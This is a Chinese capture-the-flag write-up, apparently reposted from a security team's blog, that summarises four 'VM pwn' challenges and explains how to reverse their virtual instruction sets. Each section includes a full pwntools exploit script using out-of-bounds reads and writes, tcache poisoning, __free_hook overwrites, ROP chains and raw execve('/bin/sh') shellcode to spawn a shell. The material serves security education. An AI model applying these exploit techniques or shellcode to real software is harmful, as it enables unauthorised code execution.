VMpwn总结

WriteUp 9个月前 admin
199 0 0

这类题大多是类虚拟机的题目

vm pwn会模拟出stack,寄存器,内存

这种题主要是对逆向的能力的考查

本身漏洞都比较好利用。

首要目的是还原题目的运行流程和方式。

1.先理解对输入码的编译过程,硬逆(技巧就是快速浏览,找到容易分辨的部分改变量名,再回到开头逆向)

2.理解具体程序功能,找到漏洞,这个过程最好结合动态调试(把管理结构体画出来,一定要全部搞懂,这一步往往是找到漏洞的关键)

题目下载链接:http://blog.xmcve.com/2022/04/11/VMpwn%E6%80%BB%E7%BB%93/vmpwn.7z

VMpwn总结

01

ciscn_2021_game

(特殊数组越界实现堆溢出)

首先是关于如何输入指令的问题(虚拟机如何编译)

通过这一段的字符串比较,我们能快速定位变量,结合游戏名,得到是一个类角色扮演游戏

VMpwn总结
VMpwn总结

这里提一下正则判断,&&优先级比||高

c语言里的||就像是分割的作用

VMpwn总结

然后是函数功能的分析(程序的漏洞点)

关于程序功能实现的结构体主要有2个

map_ptr管理地图的参数

pep_ptr管理角色的参数,lw是长宽,s是desc_chunk的申请大小,这道题的申请size同样没做限制

VMpwn总结
VMpwn总结

这里exp主要是对fmyy师傅的exp做了些注解

VMpwn总结

关于setcontext的使用可以看这篇文章

https://blog.e4l4.com/posts/pwn-sandboxorw%E6%80%BB%E7%BB%93/

from pwn import*context.log_level = 'DEBUG'
def RUN(payload):    p.sendlineafter('cmd> ',str(payload))
def init(L,W):    RUN( 'OP:' + '1' + 'n' + 'L:' + str(L) + 'n' +  'W:' + str(W) + 'n')def create(ID,Size,des):    RUN( 'OP:' + '2' + 'n' + 'ID:' + str(ID) + 'n' +  's:' + str(Size) + 'n')    p.sendafter('desc> ',des)def free(ID):    RUN( 'OP:' + '3' + 'n' + 'ID:' + str(ID) + 'n')def show():    RUN( 'OP:' + '4' + 'n')def up(ID):    RUN( 'OP:' + '5' + 'n' + 'ID:' + str(ID) + 'n')def down(ID):    RUN( 'OP:' + '6' + 'n' + 'ID:' + str(ID) + 'n')def left(ID):    RUN( 'OP:' + '7' + 'n' + 'ID:' + str(ID) + 'n')def right(ID):    RUN( 'OP:' + '8' + 'n' + 'ID:' + str(ID) + 'n')def dbg():    gdb.attach(p)    pause()
p = process('./game')elf = ELF("./game")libc =ELF("libc-2.27.so")
# 利用越界泄露libc和堆地址init(0x10,0x10)create(6,0x3F0,'E4L4')right(6)# 修改sizeright(6)for i in range(10):    down(0x6)create(0x99,0x3F0,'x00'*0x1F8 + p64(0x201))free(6)# 0x400的chunkcreate(1,0x380,'xA0')# 申请回来拿libcshow()libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - libc.sym['__malloc_hook'] - 0x70- 0x500log.info('LIBC:t' + hex(libc_base))create(9,0x10,'xA0')# 申请回来拿libcshow()p.recvuntil('9: (10,12) ')heap_base = u64(p.recv(6).ljust(8,'x00')) - 0xDA0  - 0x1400log.info('HEAP:t' + hex(heap_base))
# 修改fd申请tcache_struct(因为沙箱的原因需要我们恢复tcache结构)free(0x99)# 0x400的chunkcreate(2,0x230,'x00'*0x38 + p64(0x401) + p64(heap_base + 0x10))
# orw###################pop_rdi_ret = libc_base + 0x000000000002155fpop_rdx_ret = libc_base + 0x0000000000001b96pop_rax_ret = libc_base + 0x0000000000043a78pop_rsi_ret = libc_base + 0x0000000000023e8aret = libc_base + 0x00000000000008AAOpen = libc_base + libc.sym['open']Read = libc_base + libc.sym['read']Write = libc_base + libc.sym['write']syscall = Read + 15FLAG  = heap_base + 0x10 + 0xA0 + 0x10 + 0x88
orw  = p64(pop_rdi_ret) + p64(FLAG)orw += p64(pop_rsi_ret) + p64(0)orw += p64(pop_rax_ret) + p64(2)# openorw += p64(syscall)orw += p64(pop_rdi_ret) + p64(3)orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)orw += p64(pop_rdx_ret) + p64(0x30)orw += p64(Read)orw += p64(pop_rdi_ret) + p64(1)orw += p64(Write)#################### 操作tcache_struct修改freehook为setcontext+53,并利用create(7,0x3F0,'E4L4')create(8,0x3F0,'x00'*7 + 'x01' + 'x00'*0x38 +'x00'*8*7 + p64(libc_base + libc.sym['__free_hook'])  + 'x00'*0x20 + p64(heap_base + 0x10 + 0xA0 + 0x10) + p64(pop_rdi_ret + 1) + orw + 'flagx00')log.info('setc:t' + hex(libc_base + libc.sym['setcontext'] + 53))create(3,0x80,p64(libc_base + libc.sym['setcontext'] + 53))
free(8)p.interactive()
VMpwn总结

02

OGEEK2019_FINAL_OVM

(数组越界)

这道题是vmpwn的入门题了,同样分析输入流程

VMpwn总结

功能大致如下,对stack进行操作我们可以归为push/pop,赋值可以归为mov。

漏洞点在mov指令未校验数组下标,数组越界。利用stderr_got里存放了_IO_2_1_stderr,来获得libc。

mov reg, op    0x10 : reg[dest] = opmov reg, 0    0x20 : reg[dest] = 0mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]push reg    0x50 : stack[result] = reg[dest]pop reg     0x60 : reg[dest] = stack[reg[13]]add         0x70 : reg[dest] = reg[src2] + reg[src1]sub         0x80 : reg[dest] = reg[src1] - reg[src2]and         0x90 : reg[dest] = reg[src2] & reg[src1]or          0xA0 : reg[dest] = reg[src2] | reg[src1]^            0xB0 : reg[dest] = reg[src2] ^ reg[src1]left        0xC0 : reg[dest] = reg[src1] << reg[src2]right       0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper

这里写菜单,是按编译来写的,上一题是按功能来写的,个人感觉还是根据题目情况来做决定,2种写法都是可行的

from pwn import *context.log_level='debug'p = process("vmpwn")elf = ELF("vmpwn")libc = elf.libc
s       = lambda data               :p.send(data)sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(data)sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
def opcode(code, dst, op1, op2):    res =  code<<24    res += dst<<16    res += op1<<8    res += op2    return str(res)
p.recvuntil("PC: ")p.sendline('0')p.recvuntil("SP: ")p.sendline('1')p.recvuntil("CODE SIZE: ")p.sendline('24')p.recvuntil("CODE: ")
# 将stderr_got表里存的_IO_2_1_stderr的地址转递给reg[3]reg[2]sl(opcode(0x10, 0, 0, 26)) #reg[0] = -26sl(opcode(0x80, 1, 1, 0)) #reg[1] = -26sl(opcode(0x30, 2, 0, 1)) #reg[2] = memory[reg[1]]sl(opcode(0x10, 0, 0, 25)) #reg[0] = 25sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0sl(opcode(0x80, 1, 1, 0)) #reg[1] = -25sl(opcode(0x30, 3, 0, 1)) #reg[3] = memory[reg[1]]
# reg[4]构造一个0x10a0,给reg[2]加上,即_IO_2_1_stderr+0x10a0=free_hook-8sl(opcode(0x10, 4, 0, 1)) #reg[4] = 1sl(opcode(0x10, 5, 0, 12)) #reg[5] = 12sl(opcode(0xc0, 4, 4, 5)) #reg[4] = 1<<12 = 1000sl(opcode(0x10, 5, 0, 0xa)) #reg[5] = 0xasl(opcode(0x10, 6, 0, 4)) #reg[6] = 4sl(opcode(0xc0, 5, 5, 6)) #reg[5] = 0xa0sl(opcode(0x70, 4, 4, 5)) #reg[4] = reg[4]+reg[5] = 0x10a0sl(opcode(0x70, 2, 4, 2)) #reg[2] = reg[4]+reg[2]
# 将comment改为free_hook-8sl(opcode(0x10, 4, 0, 8)) #reg[4] = 8sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0sl(opcode(0x80, 1, 1, 4)) #reg[1] = 0-8 = -8sl(opcode(0x40, 2, 0, 1)) #memory[reg[1] = reg[2]]sl(opcode(0x10, 5, 0, 7)) #reg[5] = 7sl(opcode(0x10, 1, 0, 0)) #reg[1] = 0sl(opcode(0x80, 1, 1, 5)) #reg[1] = reg[1] - reg[4] = -7sl(opcode(0x40, 3, 0, 1)) #memory[reg[1]] = reg[3]sl(opcode(0xe0, 0, 0, 0)) #exit
ru('R2: ')low = int(r(8), 16) + 8ru('R3: ')high = int(r(4), 16)print hex(low), hex(high)libc_base = (high<<32) + low - libc.sym['__free_hook']lg('libc_base', libc_base)system = libc_base + libc.sym['system']
# 读入comment,修改到free_hooksl('/bin/shx00'+p64(system))p.interactive()
VMpwn总结

03

HFCTF2022 mva(数组越界)

代码编译部分,结构大同小异

都是co|dst|op2|op1,四字节一个code。

区别在于虚拟的寄存器和栈等变量都存放在栈上。

VMpwn总结

然后功能部分,比较长,这里讲几个用到的功能


这里IDA用到了一个嵌套宏定义

http://blog.xmcve.com/2022/04/11/VMpwn%E6%80%BB%E7%BB%93/#title-1:~:text=IDA%20%E5%AE%8F%E5%AE%9A%E4%B9%89%20%2D%20gwind%20%2D%20%E5%8D%9A%E5%AE%A2%E5%9B%AD%20(cnblogs.com)

BYTE2等价于(*((uint8)&(x)+2)),相当于就是取dst了,然后是无符号数;

SBYTE2等价于(*((int8)&(x)+2)),同样取dst但有符号。这里reg相当于寄存器数组

SBYTE2(code)等同于下标。

下图这个功能就是相当于一个mov指令,图里op1不太准确,等号右边的code是dx寄存器2字节,所以应该是op2拼接op1(op2:op1)

VMpwn总结

9号指令,idx是一个有符号数,这里就可以负数绕过,这个功能由dst决定是push哪个值。

这里的stack寄存器是2字节一个字长

所以在计算数组下标时就stack+idx*2,我们idx取负数0x800000000000010c,乘2后就是0x218。stack+0x218正好时ret的地址。

VMpwn总结

E号指令,也是一个mov功能。但同样也用了一个有符号数进行判断,导致数组越界写。


F号指令,也就可以实现越界读

VMpwn总结

漏洞明确了,思路就是利用越界,在栈上泄露地址,泄露完就控制ret,执行我们的gadget


可以看到ret里有libc_start_main的地址

VMpwn总结
from pwn import *context.log_level = "debug"
p = process('./mva')
def pack(code, dst, op2, op1):  return p32(((op1&0xff)<<24)+((op2&0xff)<<16)+((dst&0xff)<<8)+code)                   # 泄露程序基地址#  0x11f*2=0x23e stack+0x23ecode =  pack(1,0,1,0x1f)   # reg[0] = 0x11f(op2:op1)code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]# highcode += pack(0xa, 5, 0, 0)    # reg[5] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]# midcode += pack(0xa, 4, 0, 0)    # reg[4] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]# lowcode += pack(0xa, 3, 0, 0)    # reg[3] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]# -0x10 -> idx=0x10fcode += pack(0xa, 2, 0, 0)*13    # reg[2] = stack[--idx_] * 13
#泄露libc基地址# highcode += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]# midcode += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]# lowcode += pack(0xa, 2, 0, 0) # reg[2] = stack[--idx_]code += pack(0xf, 0, 0, 0) # printf stack[idx]
# 然后下面是ret to 0x12AE, 再次执行# 之前泄露的程序地址加0x40x2AEcode += pack(1,0,0,0x4)   # reg[0] = (op2:op1)code += pack(2, 3, 3, 0)      # reg[3] = reg[3] + reg[0]
# 设置好idx=0x800000000000010c,让stack指向retcode += pack(1,0,0x1,0xc)   # reg[0] = 0x10c(op2:op1)code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]code += pack(1,0,0x80,0)   # reg[0] = 0x10f(op2:op1)code += pack(0xe, 0, -7, 0)  # reg[-7]<=>(idx[3]) = reg[0]# lowcode += pack(0xe, 3, 0, 0)  # reg[0] = reg[3]code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]# midcode += pack(1,0,0x1,0xc+1)   # reg[0] = 0x10c+1(op2:op1)code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]code += pack(0xe, 4, 0, 0)  # reg[0] = reg[4]code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]# highcode += pack(1,0,0x1,0xc+2)   # reg[0] = 0x10c+2(op2:op1)code += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]code += pack(0xe, 5, 0, 0)  # reg[0] = reg[5]code += pack(9, 0, 0, 0)      # stack[idx] = reg[0]
code = code.ljust(0x100, b"x00")p.sendlineafter(b"[+] Welcome to MVA, input your code now :n", code)p.recvuntil(b"[+] MVA is starting ...n")
elf_base = (int(p.recvline(), 10) << 32) + (int(p.recvline(), 10) << 16) + int(p.recvline(), 10) - 0x12aalibc_base = (int(p.recvline(), 10) << 32) + (int(p.recvline(), 10) << 16) + int(p.recvline(), 10) - 0x240b3success(hex(elf_base))success(hex(libc_base))pop_rdi_ret = libc_base + 0x0000000000023b72bin_sh = libc_base + 0x1b45bdsystem_addr = libc_base + 0x522c0
# 设置好idx,让stack指向retcode2 =  b"a"*175code2 += pack(1,0,0x1,0xc)   # reg[0] = 0x10c(op2:op1)code2 += pack(0xe, 0, -10, 0)  # reg[-10]<=>(idx) = reg[0]code2 += pack(1,0,0x80,0)   # reg[0] = 0x10f(op2:op1)code2 += pack(0xe, 0, -7, 0)  # reg[-7]<=>(idx[3]) = reg[0]
# 顺序写入pop_rdi+binsh+systemfor i in range(4):  d1, d2 = pop_rdi_ret&0xff, (pop_rdi_ret>>8)&0xff  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1  pop_rdi_ret = pop_rdi_ret >> 16
for i in range(4):  d1, d2 = bin_sh&0xff, (bin_sh>>8)&0xff  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1  bin_sh = bin_sh >> 16
for i in range(4):  d1, d2 = system_addr&0xff, (system_addr>>8)&0xff  code2 += pack(9, 1, d2, d1)   # stack[idx] = op2:op1  system_addr = system_addr >> 16
code2 = code2.ljust(0x100, "x00")p.sendafter(b"[+] Welcome to MVA, input your code now :n", code2)
p.interactive()
VMpwn总结

04

vheap(堆溢出修改fd)

VMpwn总结

题目开始就有格式化字符串可以泄露libc

VMpwn总结

然后可以在bss段上存2个内容页

VMpwn总结

然后就是最多读9条命令

正常的VMpwn执行流程,难度比较入门

VMpwn总结
VMpwn总结

固定的40个字节读入,没有UAF但可以堆溢出修改fd

# _*_ coding:utf-8 _*_from pwn import *context(arch='amd64', os='linux')context.log_level = 'debug'
p = process('./vheap')# p = remote("123.57.69.203","5320")elf = ELF("./vheap")libc = elf.libcdef dbg():    gdb.attach(p)
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------pay = '%20$p'sla("first,tell me your name.",pay)p.recvuntil("welcome:")libc_base = int(p.recv(14),16)-231-libc.sym['__libc_start_main']lg('libc_base',libc_base)free_hook = libc_base+libc.sym['__free_hook']one = libc_base+0x4f302sla("How many pieces of data?",'2')s('a'*0x18+p64(0x70)+p64(free_hook))s(p64(one))
sla("Size:",9)
def pack(code, dst, op2, op1):    res =  code<<24    res += dst<<16    res += op2<<8    res += op1    return str(res)
p.recvuntil("[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++]")p.sendline(pack(0xa,0,0x10,0))p.sendline(pack(0xa,0,0x60,1))p.sendline(pack(0xa,0,0x60,2))p.sendline(pack(0xc,0,0,1))p.sendline(pack(0xb,0,0,0))# readp.sendline(pack(0xa,0,0x60,0))p.sendline(pack(0xa,0,0x60,1))p.sendline(pack(0xb,1,0,1))p.sendline(pack(0xc,0,0,2))
p.interactive()'''0x4f2a5 execve("/bin/sh", rsp+0x40, environ)constraints:  rsp & 0xf == 0  rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL'''
VMpwn总结

05

总结   Summarize 2023

总的来说,这类题前期工作会多一点,但漏洞利用往往只用得上部分功能,数组越界也是常见的漏洞,后续会继续更新

原文链接:https://blog.e4l4.com/posts/id=8/

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

VMpwn总结
VMpwn总结

原文始发于微信公众号(星盟安全):VMpwn总结

版权声明:admin 发表于 2023年8月8日 下午6:23。
转载请注明:VMpwn总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...